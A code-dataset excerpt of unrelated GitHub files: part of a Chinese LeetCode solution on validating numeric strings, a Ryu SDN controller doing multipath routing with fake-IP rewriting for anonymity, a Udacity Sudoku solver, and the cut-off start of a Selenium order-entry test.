.B[e/EC]。\nA为数值整数部分(可以有正负号的整数),B为紧跟着小数点的为数值的小数部分(无正负号的整数),\nC为紧跟着e/E为数值的指数部分(可以有正负号的整数)。\n整体的逻辑为:\n1.因为[e/EC]可存在可不存在,影响最小,所以一开始我们就可以先搞定C:\n如果e/E存在则C为isInteger()扫描后的返回值,不然就为True(所有的返回我们都带上and C)\n2.如果存在小数点:\n(1)如果A不存在则B必须存在:\n如果B不存在:return False\n否则return B and C\n(2)如果B存在:\nreturn A and B and C\n否则return A and C\n3.如果不存在小数点:\nreturn A and C\n\n代码\nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n s = s.strip()\n if not s: return False\n dot_pos = s.find(\".\")\n e, E = s.find(\"e\"), s.find(\"E\")\n e_pos = e if e != -1 else E\n if e_pos != -1 and e_pos < dot_pos: return False # e/E后不能有小数\n C = self.isInteger(s, e_pos+1, len(s)-1) if e_pos != -1 else True\n if dot_pos != -1:\n B = self.isUnsignedInteger(s, dot_pos+1, e_pos-1 if (e_pos != -1) else (len(s)-1))\n if dot_pos == 0 or (dot_pos == 1 and s[0] in (\"+\", \"-\")): # 如果A不存在,B必须存在\n if dot_pos == len(s)-1 or dot_pos + 1 == e_pos: return False # 如果B不存在\n return B and C\n A = self.isInteger(s, 0, dot_pos-1)\n if not(dot_pos == len(s)-1 or dot_pos + 1 == e_pos): # 如果B存在\n return A and B and C\n return A and C\n A = self.isInteger(s, 0, e_pos-1 if (e_pos != -1) else (len(s)-1))\n return A and C\n\n def isInteger(self, s, i, j):\n if 0 <= i < len(s) and 0 <= j < len(s):\n if s[i] in (\"+\", \"-\"):\n i += 1\n return self.isUnsignedInteger(s, i, j)\n return False\n\n def isUnsignedInteger(self, s, i, j):\n if i > j: return False # 不能为空\n if 0 <= i < len(s) and 0 <= j < len(s):\n for index in range(i, j+1):\n if not s[index].isdigit():\n return False\n return True\n return False\n方法三:正则表达式\n按照法一的思路,可得正则表达式:\n^[+-]?(\\.\\d+|\\d+\\.?\\d*)([eE][+-]?\\d+)?$\n\n代码\nimport re\nclass Solution:\n p = re.compile(r'^[+-]?(\\.\\d+|\\d+\\.?\\d*)([eE][+-]?\\d+)?$')\n def isNumber(self, s: str) -> bool:\n return bool(self.p.match(s.strip()))\n方法四:DFA(deterministic finite automaton, 确定性有限自动机)\n见代码内注释\n\n代码\nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n #define DFA state transition tables\n states = [{},\n # State (1) - initial state (scan ahead thru blanks)\n {'blank': 1, 'sign': 2, 'digit':3, '.':4},\n # State (2) - found sign (expect digit/dot)\n {'digit':3, '.':4},\n # State (3) - digit consumer (loop until non-digit)\n {'digit':3, '.':5, 'e':6, 'blank':9},\n # State (4) - found dot (only a digit is valid)\n {'digit':5},\n # State (5) - after dot (expect digits, e, or end of valid input)\n {'digit':5, 'e':6, 'blank':9},\n # State (6) - found 'e' (only a sign or digit valid)\n {'sign':7, 'digit':8},\n # State (7) - sign after 'e' (only digit)\n {'digit':8},\n # State (8) - digit after 'e' (expect digits or end of valid input)\n {'digit':8, 'blank':9},\n # State (9) - Terminal state (fail if non-blank found)\n {'blank':9}]\n currentState = 1\n for c in s:\n # If char c is of a known class set it to the class name\n if c in '0123456789':\n c = 'digit'\n elif c in ' \\t\\n':\n c = 'blank'\n elif c in '+-':\n c = 'sign'\n # If char/class is not in our state transition table it is invalid input\n if c not in states[currentState]:\n return False\n # State transition\n currentState = states[currentState][c]\n # The only valid terminal states are end on digit, after dot, digit after e, or white space after valid input\n if currentState not in [3,5,8,9]:\n return False\n return True\n方法五: try/except法\nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n try:\n float(s)\n return True\n except :\n return False\n\n作者:victoria-zhou\n链接:https://leetcode-cn.com/problems/biao-shi-shu-zhi-de-zi-fu-chuan-lcof/solution/onpythonjie-ti-wu-fa-luo-ji-pan-duan-regexdfadeng-/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n'''\n","repo_name":"MecaCho/algorithms_training","sub_path":"jianzhi/leetcode-I20-isNumber.py","file_name":"leetcode-I20-isNumber.py","file_ext":"py","file_size_in_byte":18104,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37905312251","text":"from ryu.base import app_manager\nfrom ryu.controller import ofp_event\n# from ryu.controller import mac_to_port\nfrom ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.lib.packet import packet\nfrom ryu.lib.packet import ethernet, arp, ipv4, ipv6\n\nfrom ryu.lib.mac import haddr_to_bin\n# from ryu.lib.packet import ether_types\nfrom ryu.lib import mac, ip\nfrom ryu.app.wsgi import ControllerBase\nfrom ryu.topology import event\n# from ryu.topology.api import get_switch, get_link\nfrom collections import defaultdict\nfrom operator import itemgetter\n\nimport os\nimport random\nimport time\n\nREFERENCE_BW = 10000000\nDEFAULT_BW = 10000000\nMAX_PATHS = 2\nFAKE_IP_NUMBER = 2\n\nclass ProjectController(app_manager.RyuApp):\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n def __init__(self, *args, **kwargs):\n super(ProjectController, self).__init__(*args, **kwargs)\n # self.mac_to_port = {}\n self.topology_api_app = self\n self.datapath_list = {}\n # self.arp_table = {}\n self.arp_table = {'10.0.0.1':'00:00:00:00:00:01',\n '10.0.0.2':'00:00:00:00:00:02',\n '10.0.0.3':'00:00:00:00:00:03',\n '10.0.0.4':'00:00:00:00:00:04'}\n self.switches = []\n self.hosts = {}\n self.host_ips = set()\n self.multipath_group_ids = {}\n self.group_ids = []\n self.adjacency = defaultdict(dict)\n self.bandwidths = defaultdict(lambda: defaultdict(lambda: DEFAULT_BW))\n self.fake_ips = defaultdict(dict)\n\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n dp = ev.msg.datapath\n ofp = dp.ofproto\n ofp_parser = dp.ofproto_parser\n\n print('switch', dp.id, 'enter')\n\n # install table-miss flow entry\n match = ofp_parser.OFPMatch()\n actions = [ofp_parser.OFPActionOutput(ofp.OFPP_CONTROLLER, \n ofp.OFPCML_NO_BUFFER)]\n self.add_flow(datapath=dp, table=0, priority=0, \n timeout=0, match=match, actions=actions)\n\n @set_ev_cls(event.EventSwitchEnter)\n def switch_enter_handler(self, ev):\n switch = ev.switch.dp\n ofp_parser = switch.ofproto_parser\n\n if switch.id not in self.switches:\n self.switches.append(switch.id)\n self.datapath_list[switch.id] = switch\n\n # Request port/link descriptions, useful for obtaining bandwidth\n req = ofp_parser.OFPPortDescStatsRequest(switch)\n switch.send_msg(req)\n\n @set_ev_cls(ofp_event.EventOFPPortDescStatsReply, MAIN_DISPATCHER)\n def port_desc_stats_reply_handler(self, ev):\n switch = ev.msg.datapath\n for p in ev.msg.body:\n self.bandwidths[switch.id][p.port_no] = p.curr_speed\n\n @set_ev_cls(event.EventLinkAdd, MAIN_DISPATCHER)\n def link_add_handler(self, ev):\n s1 = ev.link.src\n s2 = ev.link.dst\n self.adjacency[s1.dpid][s2.dpid] = s1.port_no\n self.adjacency[s2.dpid][s1.dpid] = s2.port_no\n print('add link', s1.dpid, 'and',s2.dpid)\n\n def get_paths(self, src_switch, dst_switch, ip_src, ip_dst):\n '''\n Get all paths from src to dst using DFS algorithm \n '''\n if src_switch == dst_switch:\n # host target is on the same switch\n print(ip_src, \"and\", ip_dst, \"on the same switch\")\n return [[src_switch]]\n paths = []\n stack = [(src_switch, [src_switch])]\n while stack:\n (node, path) = stack.pop()\n for next in set(self.adjacency[node].keys()) - set(path):\n if next is dst_switch:\n paths.append(path + [next])\n else:\n stack.append((next, path + [next]))\n print(\"Available paths from\", ip_src, \"to\", ip_dst, \":\", paths)\n return paths\n\n def get_link_cost(self, s1, s2):\n '''\n Get the link cost between two switches \n '''\n p1 = self.adjacency[s1][s2]\n p2 = self.adjacency[s2][s1]\n bl = min(self.bandwidths[s1][p1], self.bandwidths[s2][p2])\n ew = REFERENCE_BW/bl\n return ew\n\n def get_path_cost(self, path):\n '''\n Get the path cost\n '''\n cost = 0\n for i in range(len(path) - 1):\n cost += self.get_link_cost(path[i], path[i+1])\n return cost\n\n def get_optimal_paths(self, src_switch, dst_switch, ip_src, ip_dst):\n '''\n Get the n-most optimal paths according to MAX_PATHS\n '''\n paths = self.get_paths(src_switch, dst_switch, ip_src, ip_dst)\n paths_count = len(paths) if len(paths) < MAX_PATHS else MAX_PATHS\n return sorted(paths, key=lambda x: self.get_path_cost(x))[0:(paths_count)]\n\n def add_ports_to_paths(self, paths, first_port, last_port):\n '''\n Add the ports that connects the switches for all paths\n '''\n paths_p = []\n for path in paths:\n p = {}\n in_port = first_port\n for s1, s2 in zip(path[:-1], path[1:]):\n out_port = self.adjacency[s1][s2]\n p[s1] = (in_port, out_port)\n in_port = self.adjacency[s2][s1]\n p[path[-1]] = (in_port, last_port)\n paths_p.append(p)\n return paths_p\n\n def generate_gid(self):\n '''\n Return a random OpenFlow group id\n '''\n n = random.randint(0, 2**32)\n while n in self.group_ids:\n n = random.randint(0, 2**32)\n self.group_ids.append(n)\n return n\n\n def add_flow(self, datapath, table, priority, timeout, match, actions):\n ofp = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n\n inst = [ofp_parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS,\n actions)]\n mod = ofp_parser.OFPFlowMod(datapath=datapath, priority=priority,\n table_id=table, match=match,\n idle_timeout=timeout, instructions=inst)\n datapath.send_msg(mod)\n\n def fake_ip_generator(self, real_ip):\n '''\n Generate several fake IPs for host\n '''\n self.fake_ips[real_ip]['fake_ip'] = []\n\n i = 0\n while i < FAKE_IP_NUMBER:\n fake_ip = str(random.randint(1, 255))\n for j in range(3):\n n = random.randint(1, 255)\n fake_ip = fake_ip + '.' + str(n)\n\n if fake_ip not in self.host_ips:\n self.fake_ips[real_ip]['fake_ip'].append(fake_ip) \n i += 1\n\n self.fake_ips[real_ip]['time'] = time.time() \n \n # 也要檢查是否在 self.fake_ips 的 value 裡\n # \n\n def handle_fake_ip(self,real_ip):\n '''\n Check if fake IPs are available\n '''\n if 'time' not in self.fake_ips[real_ip].keys():\n self.fake_ips[real_ip]['group_id'] = self.generate_gid()\n self.fake_ip_generator(real_ip)\n\n elif time.time() - self.fake_ips[real_ip]['time'] > 300:\n self.fake_ip_generator(real_ip)\n \n def install_paths(self, src_switch, first_port, dst_switch, last_port, src_mac, dst_mac, ip_src, ip_dst):\n # computation_start = time.time()\n paths = self.get_optimal_paths(src_switch, dst_switch, ip_src, ip_dst)\n pw = []\n for path in paths:\n pw.append(self.get_path_cost(path))\n print(path, \"cost =\", pw[len(pw)-1])\n sum_of_pw = sum(pw) * 1.0\n paths_with_ports = self.add_ports_to_paths(paths, first_port, last_port)\n switches_in_paths = set().union(*paths)\n\n # handle_fake_ip(ip_src)\n # handle_fake_ip(ip_dst)\n self.fake_ip_generator(ip_src)\n self.fake_ips[ip_src]['group_id'] = self.generate_gid()\n self.fake_ip_generator(ip_dst)\n self.fake_ips[ip_dst]['group_id'] = self.generate_gid()\n\n for node in switches_in_paths:\n\n dp = self.datapath_list[node]\n ofp = dp.ofproto\n ofp_parser = dp.ofproto_parser\n\n output_group_id = None\n group_new = False\n if (node, src_switch, dst_switch) not in self.multipath_group_ids:\n group_new = True\n self.multipath_group_ids[node, src_switch, dst_switch] = self.generate_gid()\n output_group_id = self.multipath_group_ids[node, src_switch, dst_switch]\n\n # Add group table: change src ip\n buckets = []\n for s in range(FAKE_IP_NUMBER):\n bucket_action = [ofp_parser.OFPActionSetField(ipv4_src=self.fake_ips[ip_src]['fake_ip'][s]),\n ofp_parser.OFPActionGroup(self.fake_ips[ip_dst]['group_id'])]\n buckets.append(ofp_parser.OFPBucket(actions=bucket_action))\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_ADD, ofp.OFPGT_SELECT, self.fake_ips[ip_src]['group_id'],\n buckets\n )\n dp.send_msg(req)\n\n # Add group table: change dst ip\n buckets = []\n for d in range(FAKE_IP_NUMBER):\n bucket_action = [ofp_parser.OFPActionSetField(ipv4_dst=self.fake_ips[ip_dst]['fake_ip'][d]),\n ofp_parser.OFPActionGroup(output_group_id)]\n buckets.append(ofp_parser.OFPBucket(actions=bucket_action))\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_ADD, ofp.OFPGT_SELECT, self.fake_ips[ip_dst]['group_id'],\n buckets\n )\n dp.send_msg(req)\n\n match_real_ip = ofp_parser.OFPMatch(\n eth_type=0x0800, \n ipv4_src=ip_src, \n ipv4_dst=ip_dst\n )\n match_fake_ip = []\n for m in range(FAKE_IP_NUMBER):\n for n in range(FAKE_IP_NUMBER):\n match_fake_ip.append(\n ofp_parser.OFPMatch(\n eth_type = 0x0800,\n ipv4_src = self.fake_ips[ip_src]['fake_ip'][m],\n ipv4_dst = self.fake_ips[ip_dst]['fake_ip'][n]\n )\n )\n\n ports = defaultdict(list) \n i = 0\n\n for path in paths_with_ports:\n if node in path:\n in_port = path[node][0]\n out_port = path[node][1]\n if (out_port, pw[i]) not in ports[in_port]:\n ports[in_port].append((out_port, pw[i]))\n i += 1\n\n for in_port in ports:\n out_ports = ports[in_port]\n\n if len(out_ports) > 1:\n buckets = []\n for port, weight in out_ports:\n bucket_weight = int(round((1 - weight/sum_of_pw) * 10))\n bucket_action = [ofp_parser.OFPActionOutput(port)]\n buckets.append(\n ofp_parser.OFPBucket(\n weight=bucket_weight,\n actions=bucket_action\n )\n )\n if group_new:\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_ADD, ofp.OFPGT_SELECT, output_group_id,\n buckets)\n dp.send_msg(req)\n else:\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_MODIFY, ofp.OFPGT_SELECT, output_group_id,\n buckets)\n dp.send_msg(req)\n\n elif len(out_ports) == 1:\n bucket = [ofp_parser.OFPBucket(actions=[ofp_parser.OFPActionOutput(out_ports[0][0])])]\n if group_new:\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_ADD, ofp.OFPGT_INDIRECT, output_group_id,\n bucket)\n dp.send_msg(req)\n else:\n req = ofp_parser.OFPGroupMod(\n dp, ofp.OFPGC_MODIFY, ofp.OFPGT_INDIRECT, output_group_id,\n bucket)\n dp.send_msg(req)\n \n for j in range(len(paths)):\n actions = []\n if len(paths[j]) > 1:\n if node == paths[j][0]:\n actions.append(ofp_parser.OFPActionSetField(eth_src='00:00:00:00:00:00'))\n actions.append(ofp_parser.OFPActionSetField(eth_dst='00:00:00:00:00:00'))\n actions.append(ofp_parser.OFPActionGroup(self.fake_ips[ip_src]['group_id']))\n self.add_flow(datapath=dp, table=0, priority=32768, \n timeout=300, match=match_real_ip, actions=actions)\n elif node == paths[j][-1]:\n actions.append(ofp_parser.OFPActionSetField(eth_src=src_mac))\n actions.append(ofp_parser.OFPActionSetField(eth_dst=dst_mac))\n actions.append(ofp_parser.OFPActionSetField(ipv4_src=ip_src))\n actions.append(ofp_parser.OFPActionSetField(ipv4_dst=ip_dst))\n actions.append(ofp_parser.OFPActionGroup(output_group_id))\n for k in range(FAKE_IP_NUMBER**2):\n self.add_flow(datapath=dp, table=0, priority=32768, \n timeout=300, match=match_fake_ip[k], actions=actions)\n elif node in paths[j]:\n actions.append(ofp_parser.OFPActionGroup(self.fake_ips[ip_src]['group_id']))\n for l in range(FAKE_IP_NUMBER**2):\n self.add_flow(datapath=dp, table=0, priority=32768, \n timeout=300, match=match_fake_ip[l], actions=actions)\n else:\n actions.append(ofp_parser.OFPActionOutput(paths_with_ports[j][node][1]))\n self.add_flow(datapath=dp, table=0, priority=32768, \n timeout=300, match=match_real_ip, actions=actions)\n\n # print(\"Path installation finished in \", time.time()-computation_start)\n print('install path', ip_src, 'to', ip_dst)\n return paths_with_ports[0][src_switch][1]\n\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n def packet_in_handler(self, ev):\n msg = ev.msg\n dp = msg.datapath\n ofp = dp.ofproto\n ofp_parser = dp.ofproto_parser\n in_port = msg.match['in_port']\n\n pkt = packet.Packet(msg.data)\n pkt_ethernet = pkt.get_protocol(ethernet.ethernet)\n if not pkt_ethernet:\n return\n\n # filter LLDP packets 0x88CC\n if pkt_ethernet.ethertype == 35020:\n return\n\n # drop IPV6 packets\n if pkt.get_protocol(ipv6.ipv6):\n match = ofp_parser.OFPMatch(eth_type=pkt_ethernet.ethertype)\n actions = []\n self.add_flow(datapath=dp, table=0, priority=1, \n timeout=0, match=match, actions=actions)\n return None\n\n src_mac = pkt_ethernet.src\n dst_mac = pkt_ethernet.dst\n dpid = dp.id\n\n # build up hosts[]\n if src_mac not in self.hosts:\n self.hosts[src_mac] = (dpid, in_port)\n\n # handle ARP packets 0x0806\n pkt_arp = pkt.get_protocol(arp.arp)\n if pkt_ethernet.ethertype == 2054:\n # self.arp_table[pkt_arp.src_ip] = src_mac ##################\n self.host_ips.add(pkt_arp.src_ip)\n self.host_ips.add(pkt_arp.dst_ip)\n self.handle_arp(dp, in_port, pkt_ethernet, pkt_arp)\n return\n\n # initialize the mac_to_port dictionary\n # dpid = dp.id\n # self.mac_to_port.setdefault(dpid, {})\n\n out_port = ofp.OFPP_FLOOD\n\n # get packet ip address 0x0800\n if pkt.get_protocol(ipv4.ipv4):\n pkt_ipv4 = pkt.get_protocol(ipv4.ipv4)\n src_ip = pkt_ipv4.src\n dst_ip = pkt_ipv4.dst \n if dst_mac in self.hosts:\n h1 = self.hosts[src_mac]\n h2 = self.hosts[dst_mac]\n out_port = self.install_paths(h1[0], h1[1], h2[0], h2[1], \n src_mac, dst_mac, src_ip, dst_ip)\n self.install_paths(h2[0], h2[1], h1[0], h1[1],\n dst_mac, src_mac, dst_ip, src_ip) # reverse\n\n actions = [ofp_parser.OFPActionOutput(out_port)]\n\n data = None\n if msg.buffer_id == ofp.OFP_NO_BUFFER:\n data = msg.data\n\n out = ofp_parser.OFPPacketOut(datapath=dp, buffer_id=msg.buffer_id,\n in_port=in_port, actions=actions, data=data)\n dp.send_msg(out)\n\n def send_packet(self, datapath, port, pkt):\n ofp = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n pkt.serialize()\n data = pkt.data\n\n actions = [ofp_parser.OFPActionOutput(port=port)]\n\n out = ofp_parser.OFPPacketOut(datapath=datapath, buffer_id=ofp.OFP_NO_BUFFER,\n in_port = ofp.OFPP_CONTROLLER,actions=actions, data=data)\n datapath.send_msg(out)\n\n def handle_arp(self, datapath, port, pkt_ethernet, pkt_arp):\n if pkt_arp.opcode != arp.ARP_REQUEST:\n return\n \n if self.arp_table.get(pkt_arp.dst_ip) == None:\n return\n get_mac = self.arp_table[pkt_arp.dst_ip]\n\n # send back arp_rely to requesting host\n pkt = packet.Packet()\n pkt.add_protocol(\n ethernet.ethernet(\n ethertype = 2054,\n src = get_mac,\n dst = pkt_ethernet.src\n )\n )\n\n pkt.add_protocol(\n arp.arp(\n opcode = arp.ARP_REPLY,\n src_mac= get_mac,\n src_ip = pkt_arp.dst_ip,\n dst_mac= pkt_arp.src_mac,\n dst_ip = pkt_arp.src_ip\n )\n )\n\n self.send_packet(datapath, port, pkt)\n\n @set_ev_cls(event.EventSwitchLeave, MAIN_DISPATCHER)\n def switch_leave_handler(self, ev):\n print(ev)\n switch = ev.switch.dp.id\n if switch in self.switches:\n self.switches.remove(switch)\n del self.datapath_list[switch]\n del self.adjacency[switch]\n\n @set_ev_cls(event.EventLinkDelete, MAIN_DISPATCHER)\n def link_delete_handler(self, ev):\n s1 = ev.link.src\n s2 = ev.link.dst\n # Exception handling if switch already deleted\n try:\n del self.adjacency[s1.dpid][s2.dpid]\n del self.adjacency[s2.dpid][s1.dpid]\n except KeyError:\n pass","repo_name":"RainBB/SDN_anonymous","sub_path":"ProjectController.py","file_name":"ProjectController.py","file_ext":"py","file_size_in_byte":19218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11744483817","text":"\nfrom utils import *\n\n\nrow_units = [cross(r, cols) for r in rows]\ncolumn_units = [cross(rows, c) for c in cols]\nsquare_units = [cross(rs, cs) for rs in ('ABC','DEF','GHI') for cs in ('123','456','789')]\nunitlist = row_units + column_units + square_units\n\n# TODO: Update the unit list to add the new diagonal units\ndiagonal_units = [[r+c for r, c in zip(rows, cols)], [r+c for r, c in zip(rows, cols[::-1])]]\nunitlist = unitlist + diagonal_units\n\n\n# Must be called after all units (including diagonals) are added to the unitlist\nunits = extract_units(unitlist, boxes)\npeers = extract_peers(units, boxes)\n\n\ndef naked_twins(values):\n \"\"\"Eliminate values using the naked twins strategy.\n\n Parameters\n ----------\n values(dict)\n a dictionary of the form {'box_name': '123456789', ...}\n\n Returns\n -------\n dict\n The values dictionary with the naked twins eliminated from peers\n\n Notes\n -----\n Your solution can either process all pairs of naked twins from the input once,\n or it can continue processing pairs of naked twins until there are no such\n pairs remaining -- the project assistant test suite will accept either\n convention. However, it will not accept code that does not process all pairs\n of naked twins from the original input. (For example, if you start processing\n pairs of twins and eliminate another pair of twins before the second pair\n is processed then your code will fail the PA test suite.)\n\n The first convention is preferred for consistency with the other strategies,\n and because it is simpler (since the reduce_puzzle function already calls this\n strategy repeatedly).\n \"\"\"\n for unit in unitlist:\n two_values = [values[box] for box in unit if len(values[box]) == 2]\n if not two_values:\n continue\n if any([value for value in two_values if two_values.count(value) > 2]):\n return False\n \n twin_values = set(value for value in two_values if two_values.count(value) == 2)\n if not twin_values:\n continue\n twin_values_digits = ''.join(twin_values)\n if any([digit for digit in twin_values_digits if twin_values_digits.count(digit) > 1]):\n return False\n \n for value in twin_values:\n for box in unit:\n if value == values[box]:\n continue\n if value[0] in values[box]:\n assign_value(values, box, values[box].replace(value[0], ''))\n #values[box] = values[box].replace(value[0], '')\n if value[1] in values[box]:\n assign_value(values, box, values[box].replace(value[1], ''))\n #values[box] = values[box].replace(value[1], '')\n \n return values\n\n\ndef eliminate(values):\n \"\"\"Apply the eliminate strategy to a Sudoku puzzle\n\n The eliminate strategy says that if a box has a value assigned, then none\n of the peers of that box can have the same value.\n\n Parameters\n ----------\n values(dict)\n a dictionary of the form {'box_name': '123456789', ...}\n\n Returns\n -------\n dict\n The values dictionary with the assigned values eliminated from peers\n \"\"\"\n solved_boxes = [key for key, value in values.items() if len(value) == 1]\n for solved_box in solved_boxes:\n solved_value = values[solved_box]\n for peer_box in peers[solved_box]:\n assign_value(values, peer_box, values[peer_box].replace(solved_value, ''))\n #values[peer_box] = values[peer_box].replace(solved_value, '')\n\n return values\n\n\ndef only_choice(values):\n \"\"\"Apply the only choice strategy to a Sudoku puzzle\n\n The only choice strategy says that if only one box in a unit allows a certain\n digit, then that box must be assigned that digit.\n\n Parameters\n ----------\n values(dict)\n a dictionary of the form {'box_name': '123456789', ...}\n\n Returns\n -------\n dict\n The values dictionary with all single-valued boxes assigned\n\n Notes\n -----\n You should be able to complete this function by copying your code from the classroom\n \"\"\"\n for unit in unitlist:\n for digit in '123456789':\n digit_boxes = [box for box in unit if digit in values[box]]\n if len(digit_boxes) == 1:\n assign_value(values, digit_boxes[0], digit)\n #values[digit_boxes[0]] = digit\n \n return values\n\n\ndef reduce_puzzle(values):\n \"\"\"Reduce a Sudoku puzzle by repeatedly applying all constraint strategies\n\n Parameters\n ----------\n values(dict)\n a dictionary of the form {'box_name': '123456789', ...}\n\n Returns\n -------\n dict or False\n The values dictionary after continued application of the constraint strategies\n no longer produces any changes, or False if the puzzle is unsolvable \n \"\"\"\n stalled = False\n while not stalled:\n # Check how many boxes have a determined value\n solved_values_before = len([box for box in values.keys() if len(values[box]) == 1])\n\n # Your code here: Use the Eliminate Strategy\n values = eliminate(values)\n # Your code here: Use the Only Choice Strategy\n values = only_choice(values)\n # Check how many boxes have a determined value, to compare\n solved_values_after = len([box for box in values.keys() if len(values[box]) == 1])\n # If no new values were added, stop the loop.\n stalled = solved_values_before == solved_values_after\n # Sanity check, return False if there is a box with zero available values:\n if len([box for box in values.keys() if len(values[box]) == 0]):\n return False\n return values\n\n\ndef search(values):\n \"\"\"Apply depth first search to solve Sudoku puzzles in order to solve puzzles\n that cannot be solved by repeated reduction alone.\n\n Parameters\n ----------\n values(dict)\n a dictionary of the form {'box_name': '123456789', ...}\n\n Returns\n -------\n dict or False\n The values dictionary with all boxes assigned or False\n\n Notes\n -----\n You should be able to complete this function by copying your code from the classroom\n and extending it to call the naked twins strategy.\n \"\"\"\n # First, reduce the puzzle using the previous function\n if not reduce_puzzle(values):\n return False\n \n if not naked_twins(values):\n return False\n \n # Choose one of the unfilled squares with the fewest possibilities\n unsolved_boxes = [key for key, value in values.items() if len(value) > 1]\n if not unsolved_boxes:\n return values\n \n length, unsolved_box = min((len(values[unsolved_box]), unsolved_box) for unsolved_box in unsolved_boxes)\n \n # Now use recursion to solve each one of the resulting sudokus, and if one returns a value (not False), return that answer!\n #for unsolved_box in unsolved_boxes:\n for value in values[unsolved_box]:\n values_copy = values.copy()\n values_copy[unsolved_box] = value\n values_result = search(values_copy)\n if values_result:\n return values_result\n\n\ndef solve(grid):\n \"\"\"Find the solution to a Sudoku puzzle using search and constraint propagation\n\n Parameters\n ----------\n grid(string)\n a string representing a sudoku grid.\n \n Ex. '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n\n Returns\n -------\n dict or False\n The dictionary representation of the final sudoku grid or False if no solution exists.\n \"\"\"\n values = grid2values(grid)\n values = search(values)\n return values\n\n\nif __name__ == \"__main__\":\n diag_sudoku_grid = '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n display(grid2values(diag_sudoku_grid))\n result = solve(diag_sudoku_grid)\n display(result)\n\n try:\n import PySudoku\n PySudoku.play(grid2values(diag_sudoku_grid), result, history)\n\n except SystemExit:\n pass\n except:\n print('We could not visualize your board due to a pygame issue. Not a problem! It is not a requirement.')\n","repo_name":"weizhi-luo/Udacity-Artificial-Intelligence","sub_path":"Projects/AIND-Sudoku/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":8236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35911338911","text":"# coding=utf-8\nimport unittest\nfrom selenium.webdriver import ActionChains\nimport time\nfrom selenium.webdriver.support.select import Select\nfrom db.ora.oradao import Oradao\nfrom util.initialize import Initialize\nfrom util.ranchar import ranNo\nfrom util.datview import getAreaIdByCode\n\n__author__ = 'Maggie'\n\n\nclass OrderSave(unittest.TestCase):\n def setUp(self):\n self.conf = Initialize()\n self.driver = self.conf.start()\n self.verificationErrors = []\n pass\n\n def tearDown(self):\n self.conf.getScreenshot(self)\n self.assertEqual([], self.verificationErrors)\n self.driver.quit()\n pass\n\n def testOrderSave(self):\n driver = self.driver\n conf = self.conf\n conf.stateChange(driver)\n driver.implicitly_wait(10)\n\n # OM002 下单&支付\n # 选择运营支撑平台\n driver.find_element_by_id('topMenu_1100').click()\n # 调用方法chooseMember\n self.count = 0\n self.chooseMember()\n # 支付\n self.pay()\n\n # 把如下操作放在方法chooseMember里,当出现条件限制执行不了的时候可调用多次重新选择其他会员编号\n def chooseMember(self):\n conf = self.conf\n driver = self.driver\n # 鼠标悬停在销售管理上\n button = driver.find_element_by_id('left_menu_1120')\n menu = driver.find_element_by_class_name('nav-header')\n chain = ActionChains(driver)\n chain.move_to_element(button).perform()\n driver.implicitly_wait(10)\n driver.find_element_by_xpath('//li[@id=\"left_menu_1121\"]/a/span').click()\n chain.move_to_element(menu).perform()\n\n driver.implicitly_wait(10)\n\n # 切换至iframe\n driver.switch_to_frame('contentIframe1121')\n\n # 点击添加\n if not driver.find_element_by_id('btnAdd').is_displayed():\n driver.find_element_by_class_name('open-close').click()\n time.sleep(0.5)\n driver.find_element_by_id('btnAdd').click()\n\n # 切换至会员选择框的iframe\n driver.switch_to_frame('product')\n\n # 从数据库随机选择一个会员编号,当时生成环境时,则取名字含test的测试会员\n if conf.env == 'production':\n member = Oradao.sqlDiy(Oradao(),\n 'select * from mm_member m where m.subtype=40 and m.status in (0,10) and m.company_code=\\'' + conf.state + '\\' and (m.name like \\'%test%\\' or m.name like \\'%Test%\\')')\n else:\n member = Oradao.sqlDiy(Oradao(),\n 'select * from mm_member m where m.subtype=40 and m.company_code=\\'' + conf.state + '\\' and m.status in (0,10)')\n\n num = ranNo(0, member['MEMBER_NO'].__len__() - 1)\n member_no = member['MEMBER_NO'][num]\n member_grade = member['ENROLLMENT_GRADE'][num]\n\n # 取到的会员编号放到页面查询,点击选择\n driver.find_element_by_name('sp_memberNo_LIKE').send_keys(member_no)\n driver.find_element_by_id('btnSubmit').click()\n time.sleep(2)\n try:\n driver.find_element_by_xpath('//table[@id=\"treeTable1\"]/tbody/tr/td[1]/a').click()\n except:\n driver.find_element_by_xpath('//table[@id=\"treeTable1\"]/tbody/tr/td[1]/a').click()\n\n # 切换至iframe(先跳到最初始的iframe,再进入)\n driver.switch_to_default_content()\n driver.switch_to_frame('contentIframe1121')\n\n # 选择单品\n # driver.find_element_by_id('s2id_productType').click()\n # driver.find_element_by_xpath('//select[@id=\"productType\"]/option[2]').click()\n\n # 随机选择 订单类型\n driver.find_element_by_id('s2id_orderType').click()\n orderTypeNum = ranNo(2, driver.find_elements_by_xpath('//select[@id=\"orderType\"]/option').__len__())\n 